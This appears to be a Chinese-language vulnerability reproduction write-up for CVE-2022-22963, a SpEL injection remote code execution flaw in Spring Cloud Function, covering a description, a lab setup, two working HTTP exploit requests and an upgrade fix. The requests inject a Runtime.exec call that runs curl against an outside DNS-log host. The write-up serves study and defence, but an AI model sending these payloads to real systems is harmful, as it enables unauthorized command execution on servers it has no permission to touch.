【漏洞左先锋】【开发框架漏洞】Spring Cloud Function SPEL 远程代码执行 CVE-2022-22963
漏洞描述
Spring Cloud Function 是基于Spring Boot 的函数计算框架(FaaS),该项目提供了一个通用的模型,用于在各种平台上部署基于函数的软件,包括像 Amazon AWS Lambda 这样的 FaaS(函数即服务,function as a service)平台。它抽象出所有传输细节和基础架构,允许开发人员保留所有熟悉的工具和流程,并专注于业务逻辑。
Spring Cloud Function 官方于近期发布的 commit 中修复了一处 SPEL 表达式注入漏洞,该漏洞可导致未授权用户可在请求头中添加“spring.cloud.function.routing-expression”参数来执行任意命令代码。
由于Spring Cloud Function中RoutingFunction类的apply方法将请求头中的“spring.cloud.function.routing-expression”参数作为Spel表达式进行处理,造成了Spel表达式注入漏洞,攻击者可利用该漏洞远程执行任意代码。就是在请求的headers头上添加一个spring.cloud.function.routing-expression参数,SpringCloud Function会直接将其参数内容直接带入到SPEL中查询,造成SPEL漏洞注入。
漏洞影响
3.0.0 <= Spring Cloud Function <= 3.2.2
环境搭建
访问以下链接下载压缩包,解压后用IDEA选择maven打开
https://github.com/spring-cloud/spring-cloud-function/releases/tag/v3.2.2
该项目运行后默认的访问端口为8080,若需要更改Web访问端口的话,可在resources\application.properties配置文件中使用server.port参数进行设置:
运行项目:
访问:
复现过程
默认配置文件实现特定路由RCE
- 默认配置application.properties
- 对特定路由/functionRouter 构造SpEL注入paylaod
POST /functionRouter HTTP/1.1
Host: 192.168.110.148:8888
spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("curl http://functionRouter.2a89ft.dnslog.cn")
Content-Type: application/x-www-form-urlencoded
Content-Length: 6
test
修改配置文件实现任意路由RCE
- 配置文件(application.properties)中添加行:
spring.cloud.function.definition:functionRouter
- 对任意路由构造SpEL注入payload
POST /aaa HTTP/1.1
Host: 192.168.110.148:8888
spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("curl http://aaa.2a89ft.dnslog.cn")
Content-Type: application/x-www-form-urlencoded
Content-Length: 6
test
修复建议
受影响的组件更新至3.1.7、3.2.3安全版本。
参考文章
https://mp.weixin.qq.com/s?__biz=MzI2MzEzOTIyNw==&mid=2247483712&idx=1&sn=c66e8bedada8e8d5ca5451b4ab5372dc
https://mp.weixin.qq.com/s/U7YJ3FttuWSOgCodVSqemg
https://www.o2oxy.cn/4029.html
https://www.cnblogs.com/wh4am1/p/16062306.html
https://www.anquanke.com/post/id/271167
https://github.com/spring-cloud/spring-cloud-function/commit/0e89ee27b2e76138c16bcba6f4bca906c4f3744f